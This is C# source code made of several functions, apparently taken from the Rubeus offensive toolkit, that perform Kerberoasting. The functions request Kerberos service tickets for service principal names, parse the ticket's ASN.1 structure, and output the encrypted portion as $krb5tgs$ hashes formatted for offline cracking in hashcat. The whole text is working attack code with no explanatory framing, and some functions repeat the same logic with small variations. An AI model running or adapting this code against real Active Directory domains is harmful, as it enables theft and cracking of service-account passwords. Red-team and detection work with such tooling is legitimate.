public static void RequestAuth(string target) { System.IdentityModel.Tokens.KerberosRequestorSecurityToken ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken (target, TokenImpersonationLevel.Impersonation, null, Guid.NewGuid().ToString()); DisplayTicket(ticket); }
private static void DisplayTicket(System.IdentityModel.Tokens.KerberosRequestorSecurityToken t) { Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine("\t[#] Got it."); Console.ResetColor(); Console.WriteLine("\t[#] SPN: {0}", t.ServicePrincipalName); Console.WriteLine("\t[#] Valid From: {0}", t.ValidFrom); Console.WriteLine("\t[#] Valid To: {0}", t.ValidTo); Console.WriteLine("\t[#] Key Size: {0}", t.SecurityKey.KeySize); }
public static void GetTGSRepHash(string spn, string userName = "******", string distinguishedName = "", System.Net.NetworkCredential cred = null, string outFile = "", bool simpleOutput = false) { // use the System.IdentityModel.Tokens.KerberosRequestorSecurityToken approach string domain = "DOMAIN"; if (Regex.IsMatch(distinguishedName, "^CN=.*", RegexOptions.IgnoreCase)) { // extract the domain name from the distinguishedname Match dnMatch = Regex.Match(distinguishedName, "(?<Domain>DC=.*)", RegexOptions.IgnoreCase); string domainDN = dnMatch.Groups["Domain"].ToString(); domain = domainDN.Replace("DC=", "").Replace(',', '.'); } try { // the System.IdentityModel.Tokens.KerberosRequestorSecurityToken approach and extraction of the AP-REQ from the // GetRequest() stream was constributed to PowerView by @machosec System.IdentityModel.Tokens.KerberosRequestorSecurityToken ticket; if (cred != null) { ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn, TokenImpersonationLevel.Impersonation, cred, Guid.NewGuid().ToString()); } else { ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn); } byte[] requestBytes = ticket.GetRequest(); if (!((requestBytes[15] == 1) && (requestBytes[16] == 0))) { Console.WriteLine("\r\n[X] GSSAPI inner token is not an AP_REQ.\r\n"); return; } // ignore the GSSAPI frame byte[] apReqBytes = new byte[requestBytes.Length - 17]; Array.Copy(requestBytes, 17, apReqBytes, 0, requestBytes.Length - 17); AsnElt apRep = AsnElt.Decode(apReqBytes); if (apRep.TagValue != 14) { Console.WriteLine("\r\n[X] Incorrect ASN application tag. Expected 14, but got {0}.\r\n", apRep.TagValue); } long encType = 0; foreach (AsnElt elem in apRep.Sub[0].Sub) { if (elem.TagValue == 3) { foreach (AsnElt elem2 in elem.Sub[0].Sub[0].Sub) { if (elem2.TagValue == 3) { foreach (AsnElt elem3 in elem2.Sub[0].Sub) { if (elem3.TagValue == 0) { encType = elem3.Sub[0].GetInteger(); } if (elem3.TagValue == 2) { byte[] cipherTextBytes = elem3.Sub[0].GetOctetString(); string cipherText = BitConverter.ToString(cipherTextBytes).Replace("-", ""); string hash = ""; if ((encType == 18) || (encType == 17)) { //Ensure checksum is extracted from the end for aes keys int checksumStart = cipherText.Length - 24; //Enclose SPN in *s rather than username, realm and SPN. This doesn't impact cracking, but might affect loading into hashcat. hash = String.Format("$krb5tgs${0}${1}${2}$*{3}*${4}${5}", encType, userName, domain, spn, cipherText.Substring(checksumStart), cipherText.Substring(0, checksumStart)); } //if encType==23 else { hash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, userName, domain, spn, cipherText.Substring(0, 32), cipherText.Substring(32)); } if (!String.IsNullOrEmpty(outFile)) { string outFilePath = Path.GetFullPath(outFile); try { File.AppendAllText(outFilePath, hash + Environment.NewLine); } catch (Exception e) { Console.WriteLine("Exception: {0}", e.Message); } Console.WriteLine("[*] Hash written to {0}\r\n", outFilePath); } else if (simpleOutput) { Console.WriteLine(hash); } else { if (Rubeus.Program.wrapTickets) { bool header = false; foreach (string line in Helpers.Split(hash, 80)) { if (!header) { Console.WriteLine("[*] Hash : {0}", line); } else { Console.WriteLine(" {0}", line); } header = true; } } else { Console.WriteLine("[*] Hash : {0}", hash); } Console.WriteLine(); } } } } } } } } catch (Exception ex) { Console.WriteLine("\r\n [X] Error during request for SPN {0} : {1}\r\n", spn, ex.InnerException.Message); } }
public static void GetDomainSPNTicket(string samaccountname, string spn, string userName = "******", string distinguishedName = "", Lib.Logger logger = null)//, System.Net.NetworkCredential cred = null) { string domain = "DOMAIN"; if (Regex.IsMatch(distinguishedName, "^CN=.*", RegexOptions.IgnoreCase)) { // extract the domain name from the distinguishedname Match dnMatch = Regex.Match(distinguishedName, "(?<Domain>DC=.*)", RegexOptions.IgnoreCase); string domainDN = dnMatch.Groups["Domain"].ToString(); domain = domainDN.Replace("DC=", "").Replace(',', '.'); } try { if (debug) { Console.WriteLine("[DEBUG] (GetDomainSPNTicket) getting SPN ticket for SPN: {0}", spn); } System.IdentityModel.Tokens.KerberosRequestorSecurityToken ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn, TokenImpersonationLevel.Impersonation, null, Guid.NewGuid().ToString()); byte[] requestBytes = ticket.GetRequest(); string ticketHexStream = BitConverter.ToString(requestBytes).Replace("-", ""); // janky regex to try to find the part of the service ticket we want Match match = Regex.Match(ticketHexStream, @"a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)", RegexOptions.IgnoreCase); if (match.Success) { // usually 23 byte eType = Convert.ToByte(match.Groups["EtypeLen"].ToString(), 16); int cipherTextLen = Convert.ToInt32(match.Groups["CipherTextLen"].ToString(), 16) - 4; string dataToEnd = match.Groups["DataToEnd"].ToString(); string cipherText = dataToEnd.Substring(0, cipherTextLen * 2); if (match.Groups["DataToEnd"].ToString().Substring(cipherTextLen * 2, 4) != "A482") { Console.WriteLine(" [X] Error parsing ciphertext for the SPN {0}. Use the TicketByteHexStream to extract the hash offline with Get-KerberoastHashFromAPReq.\r\n", spn); bool header = false; foreach (string line in Split(ticketHexStream, 80)) { if (!header) { Console.WriteLine("TicketHexStream : {0}", line); } else { Console.WriteLine(" {0}", line); } header = true; } Console.WriteLine(); } else { // output to hashcat format string hash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", eType, userName, domain, spn, cipherText.Substring(0, 32), cipherText.Substring(32)); bool header = false; foreach (string line in Split(hash, 80)) { if (!header) { //Console.WriteLine("Hash : {0}", line); DateTime dtime = DateTime.Now; Console.WriteLine("{0}[{1}] Obtained service ticket and hash for SPN {2} ({3})", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), spn, samaccountname); logger.TimestampInfo(String.Format("Obtained service ticket and hash for SPN {0} ({1})", spn, samaccountname)); } else { //Console.WriteLine(" {0}", line); } header = true; } //Console.WriteLine(); } } } catch (Exception ex) { //Console.WriteLine("\r\n [X] Error during request for SPN {0} : {1}\r\n", spn, ex.InnerException.Message); DateTime dtime = DateTime.Now; Console.WriteLine("{0}[{1}] Error obtaining service ticket and hash for SPN {2} ({3})", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), spn, samaccountname); Console.WriteLine(ex); } }
public static void GetDomainSPNTicket(string spn, string userName = "******", string distinguishedName = "", System.Net.NetworkCredential cred = null) { string domain = "DOMAIN"; if (Regex.IsMatch(distinguishedName, "^CN=.*", RegexOptions.IgnoreCase)) { // extract the domain name from the distinguishedname Match dnMatch = Regex.Match(distinguishedName, "(?<Domain>DC=.*)", RegexOptions.IgnoreCase); string domainDN = dnMatch.Groups["Domain"].ToString(); domain = domainDN.Replace("DC=", "").Replace(',', '.'); } try { // the System.IdentityModel.Tokens.KerberosRequestorSecurityToken approach and extraction of the AP-REQ from the // GetRequest() stream was constributed to PowerView by @machosec System.IdentityModel.Tokens.KerberosRequestorSecurityToken ticket; if (cred != null) { ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn, TokenImpersonationLevel.Impersonation, cred, Guid.NewGuid().ToString()); } else { ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn); } byte[] requestBytes = ticket.GetRequest(); if (!((requestBytes[15] == 1) && (requestBytes[16] == 0))) { Console.WriteLine("\r\n[X] GSSAPI inner token is not an AP_REQ.\r\n"); return; } // ignore the GSSAPI frame byte[] apReqBytes = new byte[requestBytes.Length - 17]; Array.Copy(requestBytes, 17, apReqBytes, 0, requestBytes.Length - 17); AsnElt apRep = AsnElt.Decode(apReqBytes); if (apRep.TagValue != 14) { Console.WriteLine("\r\n[X] Incorrect ASN application tag. Expected 14, but got {0}.\r\n", apRep.TagValue); } long encType = 0; foreach (AsnElt elem in apRep.Sub[0].Sub) { if (elem.TagValue == 3) { foreach (AsnElt elem2 in elem.Sub[0].Sub[0].Sub) { if (elem2.TagValue == 3) { foreach (AsnElt elem3 in elem2.Sub[0].Sub) { if (elem3.TagValue == 0) { encType = elem3.Sub[0].GetInteger(); } if (elem3.TagValue == 2) { byte[] cipherTextBytes = elem3.Sub[0].GetOctetString(); string cipherText = BitConverter.ToString(cipherTextBytes).Replace("-", ""); string hash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, userName, domain, spn, cipherText.Substring(0, 32), cipherText.Substring(32)); bool header = false; foreach (string line in Helpers.Split(hash, 80)) { if (!header) { Console.WriteLine("[*] Hash : {0}", line); } else { Console.WriteLine(" {0}", line); } header = true; } Console.WriteLine(); } } } } } } } catch (Exception ex) { Console.WriteLine("\r\n [X] Error during request for SPN {0} : {1}\r\n", spn, ex.InnerException.Message); } }